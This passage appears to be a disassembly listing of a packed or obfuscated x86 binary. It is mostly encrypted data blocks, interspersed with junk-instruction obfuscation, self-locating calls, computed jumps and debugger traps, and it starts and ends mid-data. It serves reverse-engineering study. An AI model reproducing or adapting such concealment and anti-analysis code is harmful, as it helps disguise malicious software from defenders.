0E307B56h dd 92C51934h, 6F1h, 0D05D1F3Ch, 0BAAD064h, 78F587A9h, 0AF46C4DCh dd 0E18CE80Dh, 2FC2AE8Bh, 1D74A04Dh, 95BA169Fh, 4CEE4AEBh dd 0C0DA8332h, 6DF6D1D1h, 5B094328h, 0ED6A04Ah, 3BCDAF42h dd 0C4B0F0A1h, 4260305Ch, 0A649EBF6h, 5FFD5FD6h, 1124901Dh dd 1A3F9B6Bh, 0C7C98262h, 2A4FE226h, 0B76B29A6h, 42F381E6h dd 3117FFC1h, 77F84h, 514B0000h, 5Fh, 3ADC78F1h, 0AE6FC40h dd 12F28CAEh, 5CB55773h, 0A34A4A30h, 4A9CB61h, 29F587A8h dd 5CB55D78h, 5A4E830h, 0A14C2CC3h, 0DBA54A61h, 3CD17D0Bh dd 12DEE438h, 5DEF91A6h, 5D68D8C0h, 0FA364C64h, 2ABD5A6h dd 0A64F31C6h, 5CAD68DFh, 3C833030h, 0BE8430F3h, 0FFFFFEF2h dd 3655104h, 78F10000h, 0FD413BDCh, 351B56E7h, 0CEFB4428h dd 0DAA4B662h, 0A40F9B0Ah, 0DE06305Ch, 1567F53Fh, 0F8B8E983h dd 18305CA3h, 8E5FF38Ah, 0BB71A73Eh, 34C6727Fh, 7F0BFA4Ah dd 59305BDCh, 0A87DC1B3h, 11801A8Dh, 384F12F1h, 265AFD59h dd 6D122B6Bh, 29BFE528h, 24A8F9D5h, 0E8B65A96h, 6D11F9B9h dd 0FB891B28h, 0EEA597Eh, 0F0E77F34h, 5B5h, 8C2153F8h dd 0C76E0C20h, 34B9C355h, 6B0A8898h, 0DD5024C9h, 6B8EEA4Fh dd 0E1309C11h, 0D166D263h, 80AA06AFh, 8C167FF6h, 6DF59515h dd 1F4D7F28h, 0ED6A04Ah, 20CDAF42h, 991466F4h, 82621A3Fh dd 245D2336h, 305CC564h, 0D660F6ACh, 9A7FB33Fh, 0B63F17EAh dd 0CF0D9882h, 0C965CDE7h, 0B96B1272h, 0F44DE094h, 84314E0Ch dd 0E86CA521h, 285ED00h, 78F50000h, 0F43C3EDCh, 15A72439h dd 9D5A749h, 0CD0544Dh, 0D408E076h, 4FC67F2Dh, 14B5590Fh dd 1FDAFDC7h, 25D7983h, 0B3490000h, 84F41BBAh, 2942AB8h dd 5CC50F8Fh, 0BD53FB30h, 0E56163C3h, 1FC32FADh, 0DAC8B985h dd 0E20F4FC5h, 0A262BF5Eh, 0DC831FDBh, 22Fh, 0C5DC78E6h dd 3FD3FF47h, 4DE3E13Dh, 0B037C8E5h, 0C5276B26h, 0BFE9305Ch dd 5CC4C2C2h, 0C2505230h, 0C6158362h, 0E2330F4Fh, 23368262h dd 24C88559h, 942D7285h, 3B70FF22h, 68113DA5h, 4CCEC68Eh dd 8506F2F0h, 831F073Bh, 1E2BBh, 0BAB30F00h, 0BB8BF51Bh dd 19E19C29h, 0A5469536h, 840C8517h, 8C305CB1h, 6957CE16h dd 730F4FB2h, 13ED2ECFh, 53831FEFh, 1B7h, 0D1A04A77h, 0D30D75Dh dd 0AF7705E8h, 2BE18411h, 0D5CCC5F6h, 0E593B91Dh, 5C37ECACh dd 0E87E2430h, 90071245h, 95616F06h, 763A7A37h, 0C8DA305Ch dd 93FD813Dh, 9A5626CBh, 34F6950Ch, 69C37B5h, 356B473Eh dd 0ED112873h, 6C358F4Ch, 45B18C1Ah, 11000000h, 0A537A0B3h dd 0B9AE720Bh, 0D24C40A3h, 37494938h, 0D9CB305Ch, 1D717011h dd 832137B5h, 86346DE9h, 0BC740A74h, 1D258160h, 37DB2873h dd 887B4596h, 0E8FB8C1Ah, 0EB000000h, 1EAFC963h, 3A43F5D6h dd 0CEFC3421h, 44D6A04Ah dd 0C4B7F7AAh, 4B59305Ch, 0F207B3EFh, 2B66F08Ah, 305CC56Bh dd 0FF33FFA5h, 0AD3F39D3h, 94680C21h, 0F08E220Eh, 7EBAC054h dd 2FC6B05Ah, 2C6C25BFh, 0E4305CC5h, 0C89372BEh, 6305CBFh dd 7BEB8AF4h, 0BFF0B0E1h, 8220305Ch, 0EF78FBB6h, 0EBCB245Dh dd 831D37B0h, 70EB8E0Eh, 85057C28h, 8F2870EBh, 0CF2B7915h dd 5EF78123h, 919976Bh, 9C29BB8Bh, 0D8104A06h, 89F306CEh dd 0BBC557FFh, 0C91596Bh, 42EF8DA0h, 340A4D5Bh, 4AF2E579h dd 57000003h, 9F39B4C4h, 0C06C017Bh, 77A14C2Eh, 0A4109D1Fh dd 0D24AEB91h, 0A4D06555h, 0F676AF09h, 423ADD7Fh, 89EB01B3h dd 6A2783E4h, 286DF32Ah, 4AF2D0EAh, 0FC58D5A7h, 0C28A1C5Eh dd 0A5D77A2Eh, 69B54B59h, 21B7356Dh, 4A7EC4C9h, 0DFDFD2A0h dd 31305CC4h, 0B501DD73h, 2958D5A7h, 305CC58Eh, 98099A95h dd 305CC518h, 8214AAF8h, 0B5BB580Fh, 1238A437h, 2A069C60h dd 30CA5C46h, 73BC4141h, 19D1D328h, 0B9730A94h, 4D749C14h dd 4A784AA6h, 9844D6A0h, 0A63C0072h, 90BA164Ah, 19144FE6h dd 0C497178Ah, 2B79305Ch, 0EF8E0395h, 0A737B5ABh, 644021FDh dd 182873ACh, 3C8455F4h, 0BA8C19F5h, 35h, 0C5DC7808h, 3B36EB47h dd 68671AACh, 2E37B5ABh, 0B04BE274h, 6CFAC587h, 0FDCF286Fh dd 7301C813h, 1EBA6B87h, 0C22873B3h, 82429F3Eh, 0FC8C19F2h dd 0CEh, 3EDC78C6h, 0E5E5E03Ch, 50A4B0BEh, 0E4D018AEh dd 0FCD82456h, 2A6A2759h, 22305C1Ch, 17AD71F3h, 8CA1257Fh dd 0F88E14E8h, 0F082A824h, 0E88AA02Ch, 17333E45h, 81AB305Ch dd 56F965F7h, 6CC4DE26h, 5B253761h, 0AC3B368Bh, 0F758671Ah dd 0C4DE37B4h, 6CFB7629h, 550A43DAh, 523D4003h, 829100E6h dd 302FC736h, 0D97CD872h, 0AA4D09A3h, 9A2852E4h, 815D1F32h dd 0EAA3703h, 0B1891EBh, 293C34D6h, 1CFA215h, 39D20000h dd 0F61AB63Fh, 0A94FE984h, 0A2F25ED7h, 0E238D20h, 0D069C76Eh dd 862F4DE0h, 0F479FB2Ah, 28C5B758h, 610C6E8Ch, 0AFEFA2FCh dd 61286DF1h, 0A74A752Bh, 759B43D5h, 0CC621A3Dh, 3B867270h dd 20377399h, 68FE8458h, 0A0B37DC5h, 0C53E7E33h, 61E305Ch dd 6A2AB884h, 8510AA38h, 29339926h, 0D9CF2BE5h, 0BCFCB54Fh dd 54305C4Dh, 0A9BBA449h, 28BE4774h, 0EC201C0h, 0D2D037B5h dd 0B9E87472h, 0B20EFF3Bh, 5628730Eh, 0EED603AAh, 88C1A96h dd 0CFh, 0D6A04A5Ah, 0CDAF420Eh, 0BFC59071h, 0AF37305Ch dd 492BC189h, 0B15B7FBBh, 26B02EC7h, 1FE799BEh, 0BF941485h dd 267C305Ch, 324CEECAh, 87B90D98h, 919B81BCh, 0A5B00559h dd 0B488F204h, 0F476AE2Eh, 72049A28h, 0B536B03Fh, 8A1C8637h dd 8C50D2C2h, 0F14D2FC0h, 8955DF3h, 0BB4DDA55h, 0C76090C6h dd 0F4861C2Fh, 0D1D1C05Ah, 43208760h, 82D8961h, 0C257C16Ch dd 3D243FBAh, 0C4183C34h, 0BC93h, 2A4AE100h, 7705298Bh dd 0C2BC52FEh, 13918133h, 59233662h, 0F7E344D4h, 399B1A62h dd 6FC964E8h, 933DB0C8h, 1176FF79h, 0F09C1C95h, 4674286Dh dd 38DC7860h, 55E0E242h, 0B16645D3h, 2D8961A9h, 57C16C08h dd 0A521BBC5h, 881AEA92h, 4AE55DA0h, 420ED6A0h, 0A23CCEA8h dd 5CC4AFEFh, 524D9830h, 4DE0ED2h, 0D3DE1A88h, 700A9D98h dd 4FF08501h, 29F5AF38h, 40ED8FADh, 0E83446D4h, 0C730239h dd 0B657F920h, 179ED872h, 53E597A5h, 0C5199B8Bh, 933F73BFh dd 0CA3D0183h, 39D323CAh, 0CB744848h, 1EDAC810h, 4FE690BAh dd 0D12D4FEDh, 7E8C3ED7h, 8E088489h, 36DA2h, 54B50000h dd 0D7A14AF6h, 0CFA9430Fh, 0C4B45B77h, 0C7455C78h, 0BEBE537Fh dd 0B5C76A66h, 0B7356D69h, 0B3CD636Fh, 0A9D36753h, 0EC815E55h dd 4 ; --------------------------------------------------------------------------- mov [esp], esi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push edi mov edi, 7EEC98Dh push edi sub dword ptr [esp], 7B522AFEh pop ecx add ecx, 7B522AFEh pop edi push esp mov ebp, [esp] add esp, 4 push 67ABh mov [esp], ecx pop dword ptr [ebp+8] mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_58B97E ; --------------------------------------------------------------------------- db 0Fh dd 9E17ADEAh, 0F27B4742h, 37036C3Eh ; --------------------------------------------------------------------------- loc_5E13E0: ; CODE XREF: sdfs____:loc_5E06F2j mov eax, 7EED58Ch add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 4Fh, 5Ch, 32h dd 0B3F43273h, 0AADB5458h, 0DE992C32h, 0C8D4E91Dh, 0BF84D003h dd 67EC457Ch, 8B947C21h, 20644957h, 8B364236h, 6A47F866h dd 0D795B44Bh, 33EC392Dh, 23E8AC67h, 0CF922F68h, 2A0A6C57h dd 0F71FE233h, 1460FF13h, 0A964B20Fh, 0DC5D524Eh, 1342AD1Bh dd 91AF8F6Ah, 6EA62062h, 6E8D8D19h, 6A07EED7h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0ADA7C353h, 0B50D8E52h, 7EB23363h, 7107BB66h, 320D8D89h dd 6A07E9h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 92254AC3h, 8DB2705Dh, 810F6062h, 6, 34DD9509h dd 9D8B07E9h, 7E93029h, 0E585C761h, 0B007E922h, 6A00005Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 59A3C355h, 659D8B45h, 6607E931h, 0C78854BAh dd 0E922B185h, 7, 0F9BD8B00h, 0FF07E901h, 0E9245DB5h, 8595FF07h dd 6A07E922h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 8142C351h, 8A3733B6h, 0FF006AD0h dd 0E90C3195h, 0EBC08B07h, 55C9665Bh, 9E657F62h, 4A3F7000h dd 0BEE8F3Bh, 0DE35381Ch, 0BBA5CB8Fh, 0B3539721h, 0B201C870h dd 9FE5374h, 1414D3ABh, 5D23C6A7h, 15614E17h, 76EDBBA1h dd 855B3C88h, 0B9F54BFEh, 1F6C1A3Ch, 0F1080A22h, 6F4817B7h dd 219241C1h, 0EC0518C8h, 1AEC7D42h, 0A80F3CBCh, 2D2356DAh dd 0D85E8D8Dh, 0B58907EEh, 7E909B9h, 320D8D89h, 8B6007E9h dd 0E92EBD8Dh, 85C76107h, 7E922E5h, 591Ch, 0EE8h, 0F6442200h dd 0A86408A7h, 59090C59h, 8B7196B3h, 0E91C6D85h, 85C75B07h dd 7E922B1h, 0 ; --------------------------------------------------------------------------- jmp loc_5E15DC ; --------------------------------------------------------------------------- db 0CFh, 44h, 4Dh ; --------------------------------------------------------------------------- sbb al, 9Ah jnp short loc_5E1623 loc_5E15DC: ; CODE XREF: sdfs____:005E15D0j push dword ptr [ebp+7E92045h] push 0 push edi call sub_5E15ED and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E15ED proc near ; CODE XREF: sdfs____:005E15E5p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5E15ED endp ; --------------------------------------------------------------------------- loc_5E15FD: ; CODE XREF: sdfs____:005E1661j stosb dec edi dec esi push edx mov ax, cx pop eax call dword ptr [ebp+7E92285h] mov edi, [ebp+7E915C9h] ; CODE XREF: sdfs____:005E167Dj push 0 call dword ptr [ebp+7E90C31h] mov eax, eax jmp short loc_5E169A ; --------------------------------------------------------------------------- ficom word ptr [esi+143EEAB6h] loc_5E1623: ; CODE XREF: sdfs____:005E15DAj xchg eax, ecx push cs pop esp xor eax, 1A6F3BEAh sbb eax, 0E9A3E4AFh std adc edi, [eax+3A3D33A4h] xlat or edx, [edi] jl short near ptr loc_5E165E+1 xchg eax, ebx xchg eax, esp add es:[eax], ch ; CODE XREF: sdfs____:005E167Aj mov bl, 0B7h cdq mov edx, 0E215F8D9h into jnz short loc_5E16C9 cmc mov ebx, 0FA9C6CD1h db 26h sahf sbb dword ptr [esi+3Fh], 68h xor esp, [ecx-47368C17h] loc_5E165E: ; CODE XREF: sdfs____:005E163Aj mov al, ch push eax jle short loc_5E15FD xor eax, 20F9E6B8h icebp pop edi or [edx], edi jnp short near ptr loc_5E1694+1 xchg bl, [ebx-26BAB884h] mov cl, 0ADh lodsb inc ebx int 3 ; Trap to Debugger lodsb lock jge short near ptr loc_5E163E+1 jb short near ptr loc_5E160B+4 insd cld add [esi], ch sub [ecx+7121CDD0h], ah mov esp, 0BBC88A5Dh cmp ah, [ebp-5009438Ch] loc_5E1694: ; CODE XREF: sdfs____:005E166Cj mov esp, 36F97410h loc_5E169A: ; CODE XREF: sdfs____:005E161Bj call near ptr loc_5E16A8+1 sub ebx, [ecx] movsb sub byte ptr [edi+46h], 3Ch stc loc_5E16A8: ; CODE XREF: sdfs____:loc_5E169Ap db 2Eh pop edx movsx eax, si add edx, 5E2Eh sub esi, [ebp+7E91F85h] mov ebx, 0 js loc_5E16C6 mov ecx, edi loc_5E16C6: ; CODE XREF: sdfs____:005E16BEj ; sdfs____:005E1750j push dword ptr [ebx+edx] loc_5E16C9: ; CODE XREF: sdfs____:005E164Aj sbb si, 0B63Ch pop edi mov eax, [ebp+7E930F9h] add edi, 6C2C305Eh jz loc_5E16F3 jmp loc_5E16F3 ; --------------------------------------------------------------------------- dw 22A6h dd 134418Bh, 7C53B266h ; --------------------------------------------------------------------------- fistp qword ptr [eax-7] loc_5E16F3: ; CODE XREF: sdfs____:005E16DBj ; sdfs____:005E16E1j add edi, 1287881Bh add [ebp+7E9019Dh], edi xor edi, 15C40CA6h jb loc_5E1711 add esi, 44D827E1h loc_5E1711: ; CODE XREF: sdfs____:005E1705j mov [edx+ebx], edi mov si, 5B3Eh and ah, 0EAh sub ebx, 4 jmp loc_5E172D ; --------------------------------------------------------------------------- db 6Dh ; --------------------------------------------------------------------------- call dword ptr [edi] shr byte ptr [ebp-56D0D0FBh], 68h loc_5E172D: ; CODE XREF: sdfs____:005E171Ej cmp ebx, 0FFFFA290h jnz loc_5E174B mov [ebp+7E91C09h], edi jmp loc_5E1761 ; --------------------------------------------------------------------------- dd 0DC0282EAh db 5Bh, 0E5h, 53h ; --------------------------------------------------------------------------- loc_5E174B: ; CODE XREF: sdfs____:005E1733j mov ecx, 0C82F8FBh jmp loc_5E16C6 ; --------------------------------------------------------------------------- mov byte ptr [ebx-7B7839EDh], 5Ch retf ; --------------------------------------------------------------------------- db 10h, 0BDh, 5Bh db 24h ; --------------------------------------------------------------------------- loc_5E1761: ; CODE XREF: sdfs____:005E173Fj jmp loc_5E18E6 ; --------------------------------------------------------------------------- dw 91A4h dd 687C1BECh, 4CD2878Fh, 58904F73h, 56AB08AEh, 56B051A5h dd 58B708A6h, 718D51ADh, 24873886h, 708851D4h, 0C42CD32Fh dd 0B6BC9F2Bh, 141F5093h, 12851E2h, 0 dd 40000h, 2 dup(0) dd 350000h, 0 dd 80000h, 0 dd 79530000h, 6D657473h, 72502000h, 7365636Fh, 5D73h, 45h dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5E18E6: ; CODE XREF: sdfs____:loc_5E1761j jmp loc_5E2F2E ; --------------------------------------------------------------------------- push 7EEDD49h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EEDE2Ah jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EEDF10h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EEDFD2h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EEE165h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EEE2C2h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EEE3A5h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EEE463h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EEE670h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EEE765h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EEE828h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EEE8A4h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EEEA3Fh jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EEEF2Ah jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EEF028h jmp loc_5990C8 ; --------------------------------------------------------------------------- db 88h, 90h, 40h ; --------------------------------------------------------------------------- pop edx neg dword ptr [edx-4B129386h] push 1CC4DF72h xchg dh, [ebx] aad 31h test eax, 3F5D3133h lahf pop es mov dl, 58h mov word ptr [esi], ss mov ds:963BA367h, eax jg short loc_5E19F9 dec ebx pushf or al, 67h mov ecx, 71A92E5Fh and al, 98h dec edi pop eax mov [esi+3], ch or al, 0DCh int 3 ; Trap to Debugger or eax, 5AD0CB13h jmp short loc_5E1A1E ; --------------------------------------------------------------------------- dec eax pop eax ror dword ptr [esi], cl popf sub [ecx-6DA2B074h], ch icebp inc esi sal dword ptr [edi-743BF491h], 1 mov ecx, 73D9527Ah pop esi push esi cdq aaa and al, 0E7h cld sbb al, [esi-1BF93139h] jmp esp ; --------------------------------------------------------------------------- db 7Fh dd 99565ECDh, 3482649Eh, 13FFDAE0h, 4788h db 0 ; --------------------------------------------------------------------------- loc_5E19F9: ; CODE XREF: sdfs____:005E19A4j clc push 264B0E9h fst st(4) push 20995656h rol ecx, cl sub al, [esi] push edi push esi cdq retn 2AB1h ; --------------------------------------------------------------------------- dd 801653AEh, 8D55B110h, 0F17F6A69h db 7Ah, 17h ; --------------------------------------------------------------------------- loc_5E1A1E: ; CODE XREF: sdfs____:005E19BEj lahf sub [ecx-481BF9ABh], ch test [edx+56h], ebp cdq inc esi cmp al, 0CAh dec esp sub dl, dl call dword ptr [ebx] mov bh, 78h dec ebp sar edi, 1 xchg eax, esi inc ebx int 3 ; Trap to Debugger aad 0B0h or eax, [ecx] ; --------------------------------------------------------------------------- db 2 dup(0), 0D4h dd 9584584Fh, 0F0A2275Ah, 3A87E320h, 2C8D34DCh, 0B1B1013Fh dd 544B1670h, 81F6284h, 4CE760BAh, 0A14055E0h, 0D51A5B98h dd 5AC126CDh, 67BEA140h, 0F9F23BBh, 0F280BE20h, 0DFD4156Ch dd 0A1407971h, 0BF2A29h, 0E5BDD909h, 0F8E32B64h, 0FAEE0045h dd 795BC16Ah, 0DC1FA140h, 79F927CCh, 0A2B1A140h, 8919A927h dd 8F04CCC8h, 0A14079A1h, 0C6D2F210h, 0D6FA16B5h, 8BEF26CBh dd 1CBDA929h, 0E2BED800h, 5767E349h, 1754A799h, 8F24848Ch dd 995767A1h, 0CDD51A59h, 59819C3Dh, 677CA04Bh, 3F3C9957h dd 2ABC09A4h, 3FD93DB6h, 0F605A143h, 0E12563E2h, 0F83A58F9h dd 4A37749Ch, 2E066760h, 8B48D5F3h, 6000013h, 75C4C20Eh dd 6BEEF418h, 5DFCEA32h, 0B1009E42h, 0BD2BB353h, 1DC1DFB3h dd 32DA3485h, 21E92594h, 0D10118B9h, 0E58E12C9h, 0A92E6237h dd 4F1AA6F3h, 95158D51h, 0E832DA34h, 0A2D7A6EBh, 5B000B65h dd 4E9AF140h, 1653E450h, 1862A6E2h, 47069ADBh, 7C63874Bh dd 214CE765h, 5BA9289Fh, 4DA2FE18h, 34145486h, 4B978EABh dd 220A9F0Ah, 0E5995590h, 95E12DD9h, 221400ADh, 47A367A3h dd 0ACE48118h, 8C000000h, 83C977FCh, 10819955h, 0F6EDD2F2h dd 88584F42h, 0B460B918h, 0CF130F52h, 9EE3138Eh, 7D3A5C80h dd 0A13F8996h, 58469289h, 1476A2F9h, 0E821451h, 2891AC65h dd 6D7586A9h, 6F7D73F0h, 424211C4h, 88185BA1h, 930BCBC9h dd 88544E0Fh, 0A064A211h, 17FEDDFh, 0CB527C2Eh, 12AAh dd 0E5FD2D65h, 0F973754h, 1D85514Ah, 21B961BCh, 34527290h dd 0DA38949Eh, 0F32DAC3Ah, 21EB32Bh, 1A71C0DEh, 0A97BD0CEh dd 2E631E02h, 7DDFDAA9h, 158D514Fh, 36D63495h, 25F52CABh dd 0A08C27B7h, 58A13F84h, 0E5C1D61Bh, 0C8A59A77h, 4FFD59D1h dd 0D7188858h, 58062394h, 0C8C1E040h, 1071851Ch, 0B129F9h dd 62CDDF07h, 462E99A2h, 8B8B1636h, 0B123EF26h, 1BA68A21h dd 1162A140h, 8FB3F08Ah, 0F9EBFD4Ah, 29422372h, 0AE2231A9h dd 0B128F82Fh, 265BC2C9h, 0F74C90E1h, 395D8983h, 4CE7F53Ah dd 0A9B5C5F1h, 722E488Bh, 94C026BDh, 801BB1A5h, 2B64982Dh dd 1B5887E3h, 3515E289h, 0D023A1D0h, 0DE0A01C0h, 8BB13ACAh dd 4F91F6F5h, 8AEC306Eh, 59D0445h, 0B5EF5DB4h, 6F572869h dd 0F22E9D1Ah, 11C449D4h, 475F0000h, 514E039Bh, 6BA4158Dh dd 7B963BA3h, 8C8A4F57h, 7AE45248h, 0CED4F816h, 0DDC5110Bh dd 0E2F8207Ch, 0F2E8386Fh, 2CC745h, 0B8A92E64h, 584F53FDh dd 0CA1F6E88h, 0B05C4D4h, 0B848D8C3h, 0B1D5FD19h, 0E38217B2h dd 11A928AAh, 5F361A91h, 0EDF29956h, 89308DA2h, 0D1165759h dd 0A31108C9h, 1A7CBD69h, 18881EABh, 44967993h, 465A99A1h dd 5A409087h, 1670A0F7h, 0C9C1257h, 55BC6567h, 1A8ECD99h dd 24B464BBh, 9311F94h, 63A08978h, 0A70A49A3h, 1C43A76Bh dd 554C0D85h, 90316185h, 54AAC74h, 9301C97h, 0EBE88978h dd 96085DF0h, 20A06902h, 51A29161h, 6507E0ACh, 0C855733Eh dd 1102h, 4D55859Dh, 574F8F8Ch, 657DA9E2h, 8911B9D4h, 9C0ACAC8h dd 32503C26h, 4B45F492h, 5AB61B83h, 72A928B6h, 18338A6h dd 2E63C66Ah, 953782A9h, 55DE514Fh, 0A13F84E7h, 8B1350A3h dd 82DC38F7h, 52B7EA80h, 594F9437h, 4B8F8A4Bh, 0FAE13168h dd 0AA90C16Ah, 3B9AA928h, 66AE35E1h, 7990F115h, 0EE08D0CBh dd 1C5C2E1h, 8746DAC0h, 5B264090h, 785B9840h, 0AE95F121h dd 5D8D8433h, 0E9FF4439h, 0A82170FBh, 2033A13Fh, 82649AC6h dd 0BF27F32Ah, 0A323C106h, 5295171Fh, 57DCCC0Dh, 9956451Eh dd 0BE036774h, 0B15FBB67h, 55F4578Fh, 570A9139h, 670C9C12h dd 916D35EEh, 15A53744h, 9B17B29Eh, 7E657681h, 0B28B64E4h dd 515B049Fh, 4C43F2E9h, 0B3D7A9Ch, 0E8819AC6h, 0F81C79D8h dd 33D7339Eh, 0CF37D7F2h, 0CA96465Dh, 0EE887E18h, 51E1F330h dd 9AD276DAh, 882D3281h, 0D4DA4627h, 2CA63D62h, 39E13D9Ch dd 4C0B96DDh, 1C618555h, 33C3D1C7h, 0F92408A3h, 97E4819Ah dd 14EE670Ch, 0F33C8984h, 0C0A8F816h, 0FB0198B6h, 7E9DE2F8h dd 96F4085Dh, 0D9A28E25h, 156679B1h, 4C8DB2D4h, 0B33DD75Ch dd 65581A0h, 0A90B0968h, 466A76Fh, 0C2FFA597h, 35AB3871h dd 0D9D40CA7h, 7C2C79B1h, 0D42649F7h, 24462669h, 22B3920Ah dd 544485D6h, 54729EF5h, 1862AEE5h, 16B4A788h, 0E3745906h dd 0ECC458AEh, 68731CEDh, 966BABE9h, 16BE1604h, 6F9C3947h dd 2A00000Fh, 19B826F2h, 0FC2D8FCh, 61D0CE16h, 55E4E226h dd 510F9737h, 61A5E3CFh, 16BED879h, 5CDC988h, 35E53C9Dh dd 0F97236ADh, 0A92E6553h, 4F268217h, 0A4158D51h, 2C05B16Dh dd 750235D9h, 988FD234h, 0F1352E48h, 40908715h, 52BC050h dd 0C5A14028h, 3C972BB6h, 0C1615D8h, 19280h, 584FC400h dd 5EB91888h, 8AD72FBAh, 0E65F4793h, 0D65D4F61h, 0A9289D0Bh dd 2FF71081h, 234784CBh, 566BC474h, 0B4158799h, 6A698D5Dh dd 2B679F7Fh, 13FFCDCBh, 49BFh, 1653D100h, 0BDF1080h, 65ADE927h dd 2991C201h, 0B7D2F10Ah, 73F88813h, 0A9294A0Eh, 51A3034Ch dd 9C9A1217h, 0D21F76A1h, 0D51A54AAh, 7B52FAB1h, 0E9159957h dd 0E63F9EFDh, 5B98405Ch, 34A9303Fh, 13FEC1E0h, 0CC88h dd 584FCC00h, 0F4207ADBh, 3F8451FFh, 85CA09A1h, 75903161h dd 898736ADh, 49402145h, 4842DA95h, 1D565FD6h, 0BA44F0D6h dd 0D7C50A8Bh, 0AF80AC47h, 3B38A13Fh, 140B56A0h, 0AF44D4C4h dd 0A13FAF81h, 5EC26939h, 1AA13FAFh, 890198D9h, 963E58F9h dd 0B481660Bh, 0A7FEA13Fh, 75F2637Bh, 69C3DD6Fh, 296E1EDCh dd 584330BBh, 4695A92Ch, 7195F352h, 6AAAE869h, 3F420B99h dd 0A9345226h, 0E12h, 5D45958Dh, 677F9FFCh, 756DB9D2h dd 9901C9C4h, 0AC3ADA38h, 42402C36h, 5BB50482h, 6AA62BB3h dd 829938A6h, 11934856h, 2E66B69Ah, 852772A9h, 7DC3DF7Eh dd 519EF824h, 119AF610h, 0A13F852Bh, 34AFECEFh, 5F478785h dd 6F77A3FAh, 88584FEFh, 0DC0C036Eh, 8A8342C6h, 0A03B3842h dd 504CFA11h, 3E987284h, 82C30819h, 908E4F5Dh, 0DCA1554Ch dd 0E8831187h, 0A929751Dh, 0C7B62C2Fh, 7B5h, 86AA41D1h dd 3A995763h, 57638BB1h, 0E40C4F99h, 7E480C97h, 831EC6DFh dd 0D436D634h, 3F8475A7h, 0C5DB68A1h, 379918D7h, 7441B60Bh dd 0A454DF6Dh, 0ECA92F3Eh, 455CFDEFh, 554C0D95h, 0A1316185h dd 518B260Ah, 0DC9DE299h, 57524A6Ah, 31EBDE2h, 2DB4BBDFh dd 0D3AC70AEh, 26389DCBh, 2FED8896h, 0EA00000Dh, 0D97866B2h dd 0CF8218BCh, 21900ED6h, 15A422E6h, 11CFD7F7h, 0A165A30Fh dd 567E9839h, 458D8948h, 75A5FC5Dh, 0B932F66Dh, 0A92E6793h dd 4FE64257h, 8F1F8D51h, 3F8538E4h, 0F8E3F0A1h, 68B8EF62h dd 0BC6CA30Eh, 0D273015Ah, 99756CB8h, 34E83F6Dh, 0CD67D3F5h dd 0CED41544h, 16140115h, 24690Ch, 652F0000h, 0A13F8FA8h dd 0EF0BCFCBh, 0ABC4A3E0h, 0CCFFFFFDh, 7989B73Ch, 0B239A13Fh dd 0A13F798Eh, 90E3094Ah, 0B3654F09h, 2AA13F84h, 12990B9Dh dd 0A92E5EF2h, 0FF2DC656h, 0F29950ABh, 29167094h, 0E329B0C3h dd 4A410090h, 5AB1009Eh, 7056C8Eh, 4C8A3AC7h, 0FB05263Bh dd 0C7152h, 24F42C00h, 0DEFE1BBEh, 0CC1871C0h, 0E02863D6h dd 953957FAh, 0E1CD570Dh, 0D67B63A3h, 0C78A10BCh, 3A9F07CBh dd 30AF37E3h, 6855FB70h, 8015A92Eh, 88584F24h, 0DC0C036Eh dd 0D6D963CCh, 5290C04Dh, 0FC94CF37h, 59C405Dh, 0E9EFDE9h dd 4074B765h, 0B83373A1h, 0A1407494h, 8DC60754h, 2C143A86h dd 4E0D941Dh, 0A0138B57h, 0C15FB54h, 1C04h, 0DF7E5800h dd 93FE18C8h, 0E355175h, 6BAFEAC9h, 8F36EB70h, 583FA13Fh dd 0FFFFFCD6h, 8016537Ch, 0A01A9B10h, 0CB08A928h, 6941E8AFh dd 0F6089956h, 0CF728210h, 400113FFh, 757A9C44h, 1AD396Eh dd 655F0000h, 0A13F84E3h, 0A6C00C06h, 9E3578B9h, 8E435B87h dd 0F8594B97h, 0B132779Bh, 32A782BCh, 3FAAA9CDh, 4BD0D0C7h dd 96E8A140h, 35E53C70h, 39B730ADh, 4D9DF4DDh, 0F824CF5Fh dd 0B0A1404Ah, 2FA238A3h, 0C9CE28F8h, 0A1404ACFh, 0D26086B8h dd 0C15EFC2h, 4999F051h, 3ACF2A2Dh, 59F7D99Dh, 48E48118h dd 0B8000001h, 1888584Fh, 0F5B45CB9h, 0E986762h, 1CFAE126h dd 14B25EB5h, 26BA2CB9h, 3ADA3796h, 630893D0h, 0A9294B5Eh dd 2B63CCDCh, 6C3D9F52h, 5340ECE5h, 0FBF89957h, 0F15B50BAh dd 0F8995752h, 0B011759Dh, 6B57B353h, 0B8D9F115h, 0C2D26086h dd 0B613FEE6h, 4Ch, 0C3DF7EEEh, 8479A74Ch, 2231A13Fh, 0FE4BE6FDh dd 0BC37F8E8h, 53142E5Bh, 4AF3DA4h, 